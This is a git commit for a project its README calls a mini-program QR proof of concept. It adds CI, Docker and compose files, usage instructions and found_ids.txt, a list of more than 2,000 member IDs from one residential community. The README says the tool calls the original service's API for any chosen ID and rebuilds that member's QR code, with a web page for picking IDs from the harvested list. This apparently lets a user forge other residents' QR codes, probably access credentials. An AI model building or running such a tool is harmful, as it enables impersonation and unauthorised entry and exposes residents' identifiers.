commit 29d1ad71abd994cbb098b2e854515570d3afd710 Author: Logic Date: Sat Mar 21 18:47:00 2026 +0800 Initial commit diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..375aee5 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,7 @@ +__pycache__/ +*.pyc +*.pyo +.venv/ +.git/ +*.gif +*.json diff --git a/.gitea/workflows/docker-cicd.yaml b/.gitea/workflows/docker-cicd.yaml new file mode 100644 index 0000000..c90ec17 --- /dev/null +++ b/.gitea/workflows/docker-cicd.yaml @@ -0,0 +1,92 @@ +name: docker-cicd + +on: + push: + branches: + - main + - master + +jobs: + build-and-push: + runs-on: linux_amd64 + env: + GITEA_SERVER_URL: ${{ gitea.server_url }} + GITEA_REPOSITORY: ${{ gitea.repository }} + GITEA_REF_NAME: ${{ gitea.ref_name }} + GITEA_SHA: ${{ gitea.sha }} + DEFAULT_BRANCH: ${{ vars.DEFAULT_BRANCH }} + IMAGE_NAME_OVERRIDE: ${{ vars.IMAGE_NAME }} + PACKAGE_USER: ${{ vars.PACKAGE_USER }} + DOCKER_TOKEN: ${{ secrets.DOCKER_TOKEN }} + steps: + - name: Validate required tools and secrets + run: | + set -eu + command -v git >/dev/null 2>&1 || { echo "git 未安装"; exit 1; } + command -v docker >/dev/null 2>&1 || { echo "docker 未安装"; exit 1; } + command -v curl >/dev/null 2>&1 || { echo "curl 未安装"; exit 1; } + [ -n "${DOCKER_TOKEN}" ] || { echo "缺少 secrets.DOCKER_TOKEN"; exit 1; } + + - name: Clone current repository + run: | + set -eu + SERVER_HOST="$(printf '%s' "${GITEA_SERVER_URL}" | sed -E 's#^[a-zA-Z]+://##; s#/.*$##')" + OWNER="${GITEA_REPOSITORY%%/*}" + LOGIN_USER="${PACKAGE_USER:-$OWNER}" + WORKDIR="/tmp/${GITEA_REPOSITORY##*/}-${GITEA_SHA}" + rm -rf "${WORKDIR}" + git clone --depth=1 "https://${LOGIN_USER}:${DOCKER_TOKEN}@${SERVER_HOST}/${GITEA_REPOSITORY}.git" "${WORKDIR}" + cd "${WORKDIR}" + git fetch --depth=1 origin "${GITEA_SHA}" || true + git checkout "${GITEA_SHA}" || true + echo "WORKDIR=${WORKDIR}" >> "${GITHUB_ENV}" + echo "SERVER_HOST=${SERVER_HOST}" >> "${GITHUB_ENV}" + echo "LOGIN_USER=${LOGIN_USER}" >> "${GITHUB_ENV}" + + - name: Build and push Docker image + run: | + set -eu + cd "${WORKDIR}" + OWNER="${GITEA_REPOSITORY%%/*}" + REPO_NAME="${GITEA_REPOSITORY##*/}" + IMAGE_NAME="$(printf '%s' "${IMAGE_NAME_OVERRIDE:-$REPO_NAME}" | tr '[:upper:]' '[:lower:]')" + IMAGE_REF="${SERVER_HOST}/${OWNER}/${IMAGE_NAME}" + SHORT_SHA="$(printf '%s' "${GITEA_SHA}" | cut -c1-12)" + REF_SLUG="$(printf '%s' "${GITEA_REF_NAME}" | tr '/:@ ' '----')" + DEFAULT_BRANCH_NAME="${DEFAULT_BRANCH:-main}" + + echo "${DOCKER_TOKEN}" | docker login "${SERVER_HOST}" --username "${LOGIN_USER}" --password-stdin + + docker build -t "${IMAGE_REF}:sha-${SHORT_SHA}" . + docker tag "${IMAGE_REF}:sha-${SHORT_SHA}" "${IMAGE_REF}:branch-${REF_SLUG}" + docker push "${IMAGE_REF}:sha-${SHORT_SHA}" + docker push "${IMAGE_REF}:branch-${REF_SLUG}" + + if [ "${GITEA_REF_NAME}" = "${DEFAULT_BRANCH_NAME}" ]; then + docker tag "${IMAGE_REF}:sha-${SHORT_SHA}" "${IMAGE_REF}:latest" + docker push "${IMAGE_REF}:latest" + fi + + echo "OWNER=${OWNER}" >> "${GITHUB_ENV}" + echo "REPO_NAME=${REPO_NAME}" >> "${GITHUB_ENV}" + echo "IMAGE_NAME=${IMAGE_NAME}" >> "${GITHUB_ENV}" + echo "IMAGE_REF=${IMAGE_REF}" >> "${GITHUB_ENV}" + + - name: Link package to current repository + run: | + set -eu + API_URL="${GITEA_SERVER_URL%/}/api/v1/packages/${OWNER}/container/${IMAGE_NAME}/-/link/${REPO_NAME}" + HTTP_CODE="$(curl -sS -o /tmp/package-link.out -w '%{http_code}' \ + -X POST \ + -H "Authorization: token ${DOCKER_TOKEN}" \ + "${API_URL}")" + + if [ "${HTTP_CODE}" = "201" ] || [ "${HTTP_CODE}" = "204" ] || [ "${HTTP_CODE}" = "409" ]; then + echo "package link result: ${HTTP_CODE}" + cat /tmp/package-link.out || true + exit 0 + fi + + echo "package link failed: ${HTTP_CODE}" + cat /tmp/package-link.out || true + exit 1 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..b63359e --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +.venv/ +__pycache__/ +*.pyc +*.pyo +*.pyd +.DS_Store diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..292b1eb --- /dev/null +++ b/Dockerfile @@ -0,0 +1,23 @@ +FROM python:3.11-slim-bookworm + +ENV PYTHONDONTWRITEBYTECODE=1 \ + PYTHONUNBUFFERED=1 \ + PORT=8000 \ + HOST=0.0.0.0 \ + TZ=Asia/Shanghai \ + MINIAPP_QR_TIMEZONE=Asia/Shanghai + +WORKDIR /app + +RUN apt-get update \ + && apt-get install -y --no-install-recommends nodejs ca-certificates tzdata \ + && rm -rf /var/lib/apt/lists/* + +COPY requirements.txt . +RUN pip install --no-cache-dir -r requirements.txt + +COPY . . + +EXPOSE 8000 + +CMD ["python", "web_app.py"] diff --git a/README.txt b/README.txt new file mode 100644 index 0000000..1ac506d --- /dev/null +++ b/README.txt @@ -0,0 +1,77 @@ +Portable mini-program QR PoC + +Requirements: +- Python 3 +- Node.js + +CLI usage: +1) Fetch server data and generate GIF + python3 miniapp_qr_poc.py --member-id 114477 --json-out member_114477.json --gif-out member_114477.gif + +2) Offline mode from an existing qr hex string + python3 miniapp_qr_poc.py --qr A92205FA05FA000E3C9E107C23EE7F1234560031050C0000000000000000000000000000000000000000000000000000000000000000003A0000 --gif-out out.gif + +Web usage: +1) Install dependencies + python3 -m pip install -r requirements.txt + +2) Start the web page + python3 web_app.py + +3) Open: + http://127.0.0.1:8000 + +Docker usage: +1) Build + docker build -t miniapp-qr-web . + +2) Run + docker run --rm -p 8000:8000 -e TZ=Asia/Shanghai -e MINIAPP_QR_TIMEZONE=Asia/Shanghai miniapp-qr-web + +Or use compose: + docker compose up --build + +Features: +- Reads IDs from ./found_ids.txt +- Lets you select an ID from the page +- Calls the original API and generates the QR GIF in-browser +- Keeps the original CLI script available + +Notes: +- The script looks for JS dependencies relative to itself under ./js/ +- It reproduces the mini-program's getCommand(qr) wrapping and uses the bundled QR JS renderer +- Default timezone for QR payload generation is Asia/Shanghai; you can override it with MINIAPP_QR_TIMEZONE + +Gitea CI/CD template: +1) Add `.gitea/workflows/docker-cicd.yaml` to your repository. + +2) Repository Actions must be enabled: + - Repository Settings -> Enable Repository Actions + +3) Your runner should have a label like: + linux_amd64 + +4) The runner host needs these commands installed: + - git + - docker + - curl + +5) Required repository variables/secrets: + Variables: + - PACKAGE_USER -> optional; defaults to current repo owner. If your repo is under an organization, or the token belongs to another user/bot, set this explicitly to the token owner username. + - DEFAULT_BRANCH -> optional, defaults to main + - IMAGE_NAME -> optional, defaults to current repo name + + Secret: + - DOCKER_TOKEN -> personal access token with at least repository read + package read/write permissions + +6) What the workflow does: + - clones the current repo from Gitea + - builds the Docker image + - pushes it to the current Gitea instance package registry + - links the pushed container package back to the current repository + +7) Registry image naming: + {gitea-domain}/{owner}/{image} + Example: + gitea.example.com/myteam/miniapp_qr_portable_bundle:latest diff --git a/compose.yaml b/compose.yaml new file mode 100644 index 0000000..4ebc566 --- /dev/null +++ b/compose.yaml @@ -0,0 +1,9 @@ +services: + miniapp-qr-web: + build: . + container_name: miniapp-qr-web + ports: + - "8000:8000" + environment: + TZ: Asia/Shanghai + MINIAPP_QR_TIMEZONE: Asia/Shanghai diff --git a/found_ids.txt b/found_ids.txt new file mode 100644 index 0000000..f7bccbe --- /dev/null +++ b/found_ids.txt @@ -0,0 +1,2159 @@ +ID: 104874 | Village: 兆景华庭青年社区 +ID: 104884 | Village: 兆景华庭青年社区 +ID: 104885 | Village: 兆景华庭青年社区 +ID: 104888 | Village: 兆景华庭青年社区 +ID: 104882 | Village: 兆景华庭青年社区 +ID: 104891 | Village: 兆景华庭青年社区 +ID: 104894 | Village: 兆景华庭青年社区 +ID: 104892 | Village: 兆景华庭青年社区 +ID: 104889 | Village: 兆景华庭青年社区 +ID: 104896 | Village: 兆景华庭青年社区 +ID: 104880 | Village: 兆景华庭青年社区 +ID: 104881 | Village: 兆景华庭青年社区 +ID: 104893 | Village: 兆景华庭青年社区 +ID: 104899 | Village: 兆景华庭青年社区 +ID: 104887 | Village: 兆景华庭青年社区 +ID: 104886 | Village: 兆景华庭青年社区 +ID: 104898 | Village: 兆景华庭青年社区 +ID: 104904 | Village: 兆景华庭青年社区 +ID: 104900 | Village: 兆景华庭青年社区 +ID: 104890 | Village: 兆景华庭青年社区 +ID: 104901 | Village: 兆景华庭青年社区 +ID: 104902 | Village: 兆景华庭青年社区 +ID: 104911 | Village: 兆景华庭青年社区 +ID: 104895 | Village: 兆景华庭青年社区 +ID: 104897 | Village: 兆景华庭青年社区 +ID: 104912 | Village: 兆景华庭青年社区 +ID: 104913 | Village: 兆景华庭青年社区 +ID: 104883 | Village: 兆景华庭青年社区 +ID: 104915 | Village: 兆景华庭青年社区 +ID: 104919 | Village: 兆景华庭青年社区 +ID: 104920 | Village: 兆景华庭青年社区 +ID: 104903 | Village: 兆景华庭青年社区 +ID: 104914 | Village: 兆景华庭青年社区 +ID: 104921 | Village: 兆景华庭青年社区 +ID: 104905 | Village: 兆景华庭青年社区 +ID: 104909 | Village: 兆景华庭青年社区 +ID: 104922 | Village: 兆景华庭青年社区 +ID: 104916 | Village: 兆景华庭青年社区 +ID: 104924 | Village: 兆景华庭青年社区 +ID: 104929 | Village: 兆景华庭青年社区 +ID: 104917 | Village: 兆景华庭青年社区 +ID: 104930 | Village: 兆景华庭青年社区 +ID: 104932 | Village: 兆景华庭青年社区 +ID: 104910 | Village: 兆景华庭青年社区 +ID: 104925 | Village: 兆景华庭青年社区 +ID: 104927 | Village: 兆景华庭青年社区 +ID: 104926 | Village: 兆景华庭青年社区 +ID: 104906 | Village: 兆景华庭青年社区 +ID: 104908 | Village: 兆景华庭青年社区 +ID: 104937 | Village: 兆景华庭青年社区 +ID: 104938 | Village: 兆景华庭青年社区 +ID: 104936 | Village: 兆景华庭青年社区 +ID: 104941 | Village: 兆景华庭青年社区 +ID: 104943 | Village: 兆景华庭青年社区 +ID: 104942 | Village: 兆景华庭青年社区 +ID: 104928 | Village: 兆景华庭青年社区 +ID: 104939 | Village: 兆景华庭青年社区 +ID: 104945 | Village: 兆景华庭青年社区 +ID: 104947 | Village: 兆景华庭青年社区 +ID: 104931 | Village: 兆景华庭青年社区 +ID: 104949 | Village: 兆景华庭青年社区 +ID: 104935 | Village: 兆景华庭青年社区 +ID: 104952 | Village: 兆景华庭青年社区 +ID: 104946 | Village: 兆景华庭青年社区 +ID: 104948 | Village: 兆景华庭青年社区 +ID: 104933 | Village: 兆景华庭青年社区 +ID: 104918 | Village: 兆景华庭青年社区 +ID: 104955 | Village: 兆景华庭青年社区 +ID: 104951 | Village: 兆景华庭青年社区 +ID: 104944 | Village: 兆景华庭青年社区 +ID: 104954 | Village: 兆景华庭青年社区 +ID: 104961 | Village: 兆景华庭青年社区 +ID: 104960 | Village: 兆景华庭青年社区 +ID: 104940 | Village: 兆景华庭青年社区 +ID: 104962 | Village: 兆景华庭青年社区 +ID: 104958 | Village: 兆景华庭青年社区 +ID: 104966 | Village: 兆景华庭青年社区 +ID: 104967 | Village: 兆景华庭青年社区 +ID: 104969 | Village: 兆景华庭青年社区 +ID: 104953 | Village: 兆景华庭青年社区 +ID: 104970 | Village: 兆景华庭青年社区 +ID: 104972 | Village: 兆景华庭青年社区 +ID: 104965 | Village: 兆景华庭青年社区 +ID: 104956 | Village: 兆景华庭青年社区 +ID: 104957 | Village: 兆景华庭青年社区 +ID: 104950 | Village: 兆景华庭青年社区 +ID: 104959 | Village: 兆景华庭青年社区 +ID: 104978 | Village: 兆景华庭青年社区 +ID: 104977 | Village: 兆景华庭青年社区 +ID: 104963 | Village: 兆景华庭青年社区 +ID: 104980 | Village: 兆景华庭青年社区 +ID: 104964 | Village: 兆景华庭青年社区 +ID: 104985 | Village: 兆景华庭青年社区 +ID: 104979 | Village: 兆景华庭青年社区 +ID: 104986 | Village: 兆景华庭青年社区 +ID: 104971 | Village: 兆景华庭青年社区 +ID: 104975 | Village: 兆景华庭青年社区 +ID: 104981 | Village: 兆景华庭青年社区 +ID: 104983 | Village: 兆景华庭青年社区 +ID: 104987 | Village: 兆景华庭青年社区 +ID: 104934 | Village: 兆景华庭青年社区 +ID: 104984 | Village: 兆景华庭青年社区 +ID: 104988 | Village: 兆景华庭青年社区 +ID: 104990 | Village: 兆景华庭青年社区 +ID: 104974 | Village: 兆景华庭青年社区 +ID: 104976 | Village: 兆景华庭青年社区 +ID: 104973 | Village: 兆景华庭青年社区 +ID: 104993 | Village: 兆景华庭青年社区 +ID: 104998 | Village: 兆景华庭青年社区 +ID: 104989 | Village: 兆景华庭青年社区 +ID: 105001 | Village: 兆景华庭青年社区 +ID: 105000 | Village: 兆景华庭青年社区 +ID: 104982 | Village: 兆景华庭青年社区 +ID: 105003 | Village: 兆景华庭青年社区 +ID: 104997 | Village: 兆景华庭青年社区 +ID: 105004 | Village: 兆景华庭青年社区 +ID: 105006 | Village: 兆景华庭青年社区 +ID: 104968 | Village: 兆景华庭青年社区 +ID: 105002 | Village: 兆景华庭青年社区 +ID: 105008 | Village: 兆景华庭青年社区 +ID: 105010 | Village: 兆景华庭青年社区 +ID: 105011 | Village: 兆景华庭青年社区 +ID: 104991 | Village: 兆景华庭青年社区 +ID: 104992 | Village: 兆景华庭青年社区 +ID: 104923 | Village: 兆景华庭青年社区 +ID: 104995 | Village: 兆景华庭青年社区 +ID: 105017 | Village: 兆景华庭青年社区 +ID: 105018 | Village: 兆景华庭青年社区 +ID: 105014 | Village: 兆景华庭青年社区 +ID: 105020 | Village: 兆景华庭青年社区 +ID: 105015 | Village: 兆景华庭青年社区 +ID: 105021 | Village: 兆景华庭青年社区 +ID: 105016 | Village: 兆景华庭青年社区 +ID: 105005 | Village: 兆景华庭青年社区 +ID: 105023 | Village: 兆景华庭青年社区 +ID: 105009 | Village: 兆景华庭青年社区 +ID: 105024 | Village: 兆景华庭青年社区 +ID: 105019 | Village: 兆景华庭青年社区 +ID: 105028 | Village: 兆景华庭青年社区 +ID: 105029 | Village: 兆景华庭青年社区 +ID: 105013 | Village: 兆景华庭青年社区 +ID: 105022 | Village: 兆景华庭青年社区 +ID: 105027 | Village: 兆景华庭青年社区 +ID: 105026 | Village: 兆景华庭青年社区 +ID: 105034 | Village: 兆景华庭青年社区 +ID: 104996 | Village: 兆景华庭青年社区 +ID: 105007 | Village: 兆景华庭青年社区 +ID: 104999 | Village: 兆景华庭青年社区 +ID: 105032 | Village: 兆景华庭青年社区 +ID: 105040 | Village: 兆景华庭青年社区 +ID: 105033 | Village: 兆景华庭青年社区 +ID: 105042 | Village: 兆景华庭青年社区 +ID: 105043 | Village: 兆景华庭青年社区 +ID: 105025 | Village: 兆景华庭青年社区 +ID: 105039 | Village: 兆景华庭青年社区 +ID: 105038 | Village: 兆景华庭青年社区 +ID: 105045 | Village: 兆景华庭青年社区 +ID: 105031 | Village: 兆景华庭青年社区 +ID: 105012 | Village: 兆景华庭青年社区 +ID: 105046 | Village: 兆景华庭青年社区 +ID: 105051 | Village: 兆景华庭青年社区 +ID: 105035 | Village: 兆景华庭青年社区 +ID: 105053 | Village: 兆景华庭青年社区 +ID: 105030 | Village: 兆景华庭青年社区 +ID: 105047 | Village: 兆景华庭青年社区 +ID: 105055 | Village: 兆景华庭青年社区 +ID: 105057 | Village: 兆景华庭青年社区 +ID: 105050 | Village: 兆景华庭青年社区 +ID: 105060 | Village: 兆景华庭青年社区 +ID: 105044 | Village: 兆景华庭青年社区 +ID: 105056 | Village: 兆景华庭青年社区 +ID: 105063 | Village: 兆景华庭青年社区 +ID: 105059 | Village: 兆景华庭青年社区 +ID: 105062 | Village: 兆景华庭青年社区 +ID: 105058 | Village: 兆景华庭青年社区 +ID: 105041 | Village: 兆景华庭青年社区 +ID: 105065 | Village: 兆景华庭青年社区 +ID: 105049 | Village: 兆景华庭青年社区 +ID: 105048 | Village: 兆景华庭青年社区 +ID: 105052 | Village: 兆景华庭青年社区 +ID: 105061 | Village: 兆景华庭青年社区 +ID: 105054 | Village: 兆景华庭青年社区 +ID: 105073 | Village: 兆景华庭青年社区 +ID: 104994 | Village: 兆景华庭青年社区 +ID: 105074 | Village: 兆景华庭青年社区 +ID: 105036 | Village: 兆景华庭青年社区 +ID: 105070 | Village: 兆景华庭青年社区 +ID: 105077 | Village: 兆景华庭青年社区 +ID: 105081 | Village: 兆景华庭青年社区 +ID: 105064 | Village: 兆景华庭青年社区 +ID: 105083 | Village: 兆景华庭青年社区 +ID: 105082 | Village: 兆景华庭青年社区 +ID: 105079 | Village: 兆景华庭青年社区 +ID: 105072 | Village: 兆景华庭青年社区 +ID: 105084 | Village: 兆景华庭青年社区 +ID: 105069 | Village: 兆景华庭青年社区 +ID: 105067 | Village: 兆景华庭青年社区 +ID: 105071 | Village: 兆景华庭青年社区 +ID: 105075 | Village: 兆景华庭青年社区 +ID: 105076 | Village: 兆景华庭青年社区 +ID: 105093 | Village: 兆景华庭青年社区 +ID: 105092 | Village: 兆景华庭青年社区 +ID: 105068 | Village: 兆景华庭青年社区 +ID: 105089 | Village: 兆景华庭青年社区 +ID: 105094 | Village: 兆景华庭青年社区 +ID: 105091 | Village: 兆景华庭青年社区 +ID: 105095 | Village: 兆景华庭青年社区 +ID: 105080 | Village: 兆景华庭青年社区 +ID: 105085 | Village: 兆景华庭青年社区 +ID: 105087 | Village: 兆景华庭青年社区 +ID: 105088 | Village: 兆景华庭青年社区 +ID: 105102 | Village: 兆景华庭青年社区 +ID: 105101 | Village: 兆景华庭青年社区 +ID: 105104 | Village: 兆景华庭青年社区 +ID: 105100 | Village: 兆景华庭青年社区 +ID: 105098 | Village: 兆景华庭青年社区 +ID: 105108 | Village: 兆景华庭青年社区 +ID: 105106 | Village: 兆景华庭青年社区 +ID: 105066 | Village: 兆景华庭青年社区 +ID: 105112 | Village: 兆景华庭青年社区 +ID: 105096 | Village: 兆景华庭青年社区 +ID: 105097 | Village: 兆景华庭青年社区 +ID: 105107 | Village: 兆景华庭青年社区 +ID: 105086 | Village: 兆景华庭青年社区 +ID: 105099 | Village: 兆景华庭青年社区 +ID: 105115 | Village: 兆景华庭青年社区 +ID: 105119 | Village: 兆景华庭青年社区 +ID: 105118 | Village: 兆景华庭青年社区 +ID: 105103 | Village: 兆景华庭青年社区 +ID: 105105 | Village: 兆景华庭青年社区 +ID: 105121 | Village: 兆景华庭青年社区 +ID: 105116 | Village: 兆景华庭青年社区 +ID: 105117 | Village: 兆景华庭青年社区 +ID: 105110 | Village: 兆景华庭青年社区 +ID: 105109 | Village: 兆景华庭青年社区 +ID: 105125 | Village: 兆景华庭青年社区 +ID: 105120 | Village: 兆景华庭青年社区 +ID: 105126 | Village: 兆景华庭青年社区 +ID: 105111 | Village: 兆景华庭青年社区 +ID: 105127 | Village: 兆景华庭青年社区 +ID: 105131 | Village: 兆景华庭青年社区 +ID: 105130 | Village: 兆景华庭青年社区 +ID: 105124 | Village: 兆景华庭青年社区 +ID: 105135 | Village: 兆景华庭青年社区 +ID: 105078 | Village: 兆景华庭青年社区 +ID: 105128 | Village: 兆景华庭青年社区 +ID: 105137 | Village: 兆景华庭青年社区 +ID: 105136 | Village: 兆景华庭青年社区 +ID: 105138 | Village: 兆景华庭青年社区 +ID: 105134 | Village: 兆景华庭青年社区 +ID: 105123 | Village: 兆景华庭青年社区 +ID: 105122 | Village: 兆景华庭青年社区 +ID: 105141 | Village: 兆景华庭青年社区 +ID: 105140 | Village: 兆景华庭青年社区 +ID: 105143 | Village: 兆景华庭青年社区 +ID: 105145 | Village: 兆景华庭青年社区 +ID: 105139 | Village: 兆景华庭青年社区 +ID: 105090 | Village: 兆景华庭青年社区 +ID: 105142 | Village: 兆景华庭青年社区 +ID: 105144 | Village: 兆景华庭青年社区 +ID: 105132 | Village: 兆景华庭青年社区 +ID: 105147 | Village: 兆景华庭青年社区 +ID: 105153 | Village: 兆景华庭青年社区 +ID: 105155 | Village: 兆景华庭青年社区 +ID: 105133 | Village: 兆景华庭青年社区 +ID: 105151 | Village: 兆景华庭青年社区 +ID: 105158 | Village: 兆景华庭青年社区 +ID: 105157 | Village: 兆景华庭青年社区 +ID: 105154 | Village: 兆景华庭青年社区 +ID: 105159 | Village: 兆景华庭青年社区 +ID: 105160 | Village: 兆景华庭青年社区 +ID: 105161 | Village: 兆景华庭青年社区 +ID: 105150 | Village: 兆景华庭青年社区 +ID: 105146 | Village: 兆景华庭青年社区 +ID: 105163 | Village: 兆景华庭青年社区 +ID: 105156 | Village: 兆景华庭青年社区 +ID: 105149 | Village: 兆景华庭青年社区 +ID: 105148 | Village: 兆景华庭青年社区 +ID: 105152 | Village: 兆景华庭青年社区 +ID: 105169 | Village: 兆景华庭青年社区 +ID: 105129 | Village: 兆景华庭青年社区 +ID: 105167 | Village: 兆景华庭青年社区 +ID: 105165 | Village: 兆景华庭青年社区 +ID: 105175 | Village: 兆景华庭青年社区 +ID: 105170 | Village: 兆景华庭青年社区 +ID: 105168 | Village: 兆景华庭青年社区 +ID: 105173 | Village: 兆景华庭青年社区 +ID: 105178 | Village: 兆景华庭青年社区 +ID: 105179 | Village: 兆景华庭青年社区 +ID: 105180 | Village: 兆景华庭青年社区 +ID: 105181 | Village: 兆景华庭青年社区 +ID: 105166 | Village: 兆景华庭青年社区 +ID: 105177 | Village: 兆景华庭青年社区 +ID: 105162 | Village: 兆景华庭青年社区 +ID: 105164 | Village: 兆景华庭青年社区 +ID: 105184 | Village: 兆景华庭青年社区 +ID: 105188 | Village: 兆景华庭青年社区 +ID: 105171 | Village: 兆景华庭青年社区 +ID: 105172 | Village: 兆景华庭青年社区 +ID: 105190 | Village: 兆景华庭青年社区 +ID: 105174 | Village: 兆景华庭青年社区 +ID: 105192 | Village: 兆景华庭青年社区 +ID: 105193 | Village: 兆景华庭青年社区 +ID: 105195 | Village: 兆景华庭青年社区 +ID: 105198 | Village: 兆景华庭青年社区 +ID: 105197 | Village: 兆景华庭青年社区 +ID: 105182 | Village: 兆景华庭青年社区 +ID: 105194 | Village: 兆景华庭青年社区 +ID: 105114 | Village: 兆景华庭青年社区 +ID: 105113 | Village: 兆景华庭青年社区 +ID: 105202 | Village: 兆景华庭青年社区 +ID: 105186 | Village: 兆景华庭青年社区 +ID: 105199 | Village: 兆景华庭青年社区 +ID: 105206 | Village: 兆景华庭青年社区 +ID: 105207 | Village: 兆景华庭青年社区 +ID: 105191 | Village: 兆景华庭青年社区 +ID: 105201 | Village: 兆景华庭青年社区 +ID: 105208 | Village: 兆景华庭青年社区 +ID: 105203 | Village: 兆景华庭青年社区 +ID: 105196 | Village: 兆景华庭青年社区 +ID: 105211 | Village: 兆景华庭青年社区 +ID: 105213 | Village: 兆景华庭青年社区 +ID: 105176 | Village: 兆景华庭青年社区 +ID: 105200 | Village: 兆景华庭青年社区 +ID: 105215 | Village: 兆景华庭青年社区 +ID: 105216 | Village: 兆景华庭青年社区 +ID: 105218 | Village: 兆景华庭青年社区 +ID: 105219 | Village: 兆景华庭青年社区 +ID: 105222 | Village: 兆景华庭青年社区 +ID: 105221 | Village: 兆景华庭青年社区 +ID: 105205 | Village: 兆景华庭青年社区 +ID: 105224 | Village: 兆景华庭青年社区 +ID: 105225 | Village: 兆景华庭青年社区 +ID: 105189 | Village: 兆景华庭青年社区 +ID: 105214 | Village: 兆景华庭青年社区 +ID: 105209 | Village: 兆景华庭青年社区 +ID: 105212 | Village: 兆景华庭青年社区 +ID: 105223 | Village: 兆景华庭青年社区 +ID: 105231 | Village: 兆景华庭青年社区 +ID: 105232 | Village: 兆景华庭青年社区 +ID: 105227 | Village: 兆景华庭青年社区 +ID: 105234 | Village: 兆景华庭青年社区 +ID: 105233 | Village: 兆景华庭青年社区 +ID: 105236 | Village: 兆景华庭青年社区 +ID: 105229 | Village: 兆景华庭青年社区 +ID: 105237 | Village: 兆景华庭青年社区 +ID: 105238 | Village: 兆景华庭青年社区 +ID: 105239 | Village: 兆景华庭青年社区 +ID: 105210 | Village: 兆景华庭青年社区 +ID: 105187 | Village: 兆景华庭青年社区 +ID: 105240 | Village: 兆景华庭青年社区 +ID: 105242 | Village: 兆景华庭青年社区 +ID: 105226 | Village: 兆景华庭青年社区 +ID: 105204 | Village: 兆景华庭青年社区 +ID: 105245 | Village: 兆景华庭青年社区 +ID: 105228 | Village: 兆景华庭青年社区 +ID: 105247 | Village: 兆景华庭青年社区 +ID: 105248 | Village: 兆景华庭青年社区 +ID: 105249 | Village: 兆景华庭青年社区 +ID: 105241 | Village: 兆景华庭青年社区 +ID: 105252 | Village: 兆景华庭青年社区 +ID: 105235 | Village: 兆景华庭青年社区 +ID: 105253 | Village: 兆景华庭青年社区 +ID: 105255 | Village: 兆景华庭青年社区 +ID: 105256 | Village: 兆景华庭青年社区 +ID: 105217 | Village: 兆景华庭青年社区 +ID: 105250 | Village: 兆景华庭青年社区 +ID: 105257 | Village: 兆景华庭青年社区 +ID: 105259 | Village: 兆景华庭青年社区 +ID: 105243 | Village: 兆景华庭青年社区 +ID: 105263 | Village: 兆景华庭青年社区 +ID: 105220 | Village: 兆景华庭青年社区 +ID: 105246 | Village: 兆景华庭青年社区 +ID: 105264 | Village: 兆景华庭青年社区 +ID: 105265 | Village: 兆景华庭青年社区 +ID: 105268 | Village: 兆景华庭青年社区 +ID: 105183 | Village: 兆景华庭青年社区 +ID: 105251 | Village: 兆景华庭青年社区 +ID: 105273 | Village: 兆景华庭青年社区 +ID: 105262 | Village: 兆景华庭青年社区 +ID: 105267 | Village: 兆景华庭青年社区 +ID: 105269 | Village: 兆景华庭青年社区 +ID: 105258 | Village: 兆景华庭青年社区 +ID: 105270 | Village: 兆景华庭青年社区 +ID: 105260 | Village: 兆景华庭青年社区 +ID: 105271 | Village: 兆景华庭青年社区 +ID: 105261 | Village: 兆景华庭青年社区 +ID: 105230 | Village: 兆景华庭青年社区 +ID: 105275 | Village: 兆景华庭青年社区 +ID: 105276 | Village: 兆景华庭青年社区 +ID: 105279 | Village: 兆景华庭青年社区 +ID: 105277 | Village: 兆景华庭青年社区 +ID: 105281 | Village: 兆景华庭青年社区 +ID: 105266 | Village: 兆景华庭青年社区 +ID: 105286 | Village: 兆景华庭青年社区 +ID: 105244 | Village: 兆景华庭青年社区 +ID: 105290 | Village: 兆景华庭青年社区 +ID: 105283 | Village: 兆景华庭青年社区 +ID: 105272 | Village: 兆景华庭青年社区 +ID: 105274 | Village: 兆景华庭青年社区 +ID: 105291 | Village: 兆景华庭青年社区 +ID: 105288 | Village: 兆景华庭青年社区 +ID: 105292 | Village: 兆景华庭青年社区 +ID: 105293 | Village: 兆景华庭青年社区 +ID: 105294 | Village: 兆景华庭青年社区 +ID: 105254 | Village: 兆景华庭青年社区 +ID: 105278 | Village: 兆景华庭青年社区 +ID: 105287 | Village: 兆景华庭青年社区 +ID: 105280 | Village: 兆景华庭青年社区 +ID: 105282 | Village: 兆景华庭青年社区 +ID: 105296 | Village: 兆景华庭青年社区 +ID: 105289 | Village: 兆景华庭青年社区 +ID: 105304 | Village: 兆景华庭青年社区 +ID: 105307 | Village: 兆景华庭青年社区 +ID: 105302 | Village: 兆景华庭青年社区 +ID: 105310 | Village: 兆景华庭青年社区 +ID: 105303 | Village: 兆景华庭青年社区 +ID: 105305 | Village: 兆景华庭青年社区 +ID: 105306 | Village: 兆景华庭青年社区 +ID: 105284 | Village: 兆景华庭青年社区 +ID: 105312 | Village: 兆景华庭青年社区 +ID: 105297 | Village: 兆景华庭青年社区 +ID: 105314 | Village: 兆景华庭青年社区 +ID: 105298 | Village: 兆景华庭青年社区 +ID: 105316 | Village: 兆景华庭青年社区 +ID: 105295 | Village: 兆景华庭青年社区 +ID: 105319 | Village: 兆景华庭青年社区 +ID: 105320 | Village: 兆景华庭青年社区 +ID: 105321 | Village: 兆景华庭青年社区 +ID: 105308 | Village: 兆景华庭青年社区 +ID: 105317 | Village: 兆景华庭青年社区 +ID: 105324 | Village: 兆景华庭青年社区 +ID: 105325 | Village: 兆景华庭青年社区 +ID: 105328 | Village: 兆景华庭青年社区 +ID: 105329 | Village: 兆景华庭青年社区 +ID: 105330 | Village: 兆景华庭青年社区 +ID: 105323 | Village: 兆景华庭青年社区 +ID: 105315 | Village: 兆景华庭青年社区 +ID: 105331 | Village: 兆景华庭青年社区 +ID: 105326 | Village: 兆景华庭青年社区 +ID: 105333 | Village: 兆景华庭青年社区 +ID: 105318 | Village: 兆景华庭青年社区 +ID: 105334 | Village: 兆景华庭青年社区 +ID: 105336 | Village: 兆景华庭青年社区 +ID: 105337 | Village: 兆景华庭青年社区 +ID: 105309 | Village: 兆景华庭青年社区 +ID: 105338 | Village: 兆景华庭青年社区 +ID: 105322 | Village: 兆景华庭青年社区 +ID: 105301 | Village: 兆景华庭青年社区 +ID: 105327 | Village: 兆景华庭青年社区 +ID: 105335 | Village: 兆景华庭青年社区 +ID: 105347 | Village: 兆景华庭青年社区 +ID: 105340 | Village: 兆景华庭青年社区 +ID: 105332 | Village: 兆景华庭青年社区 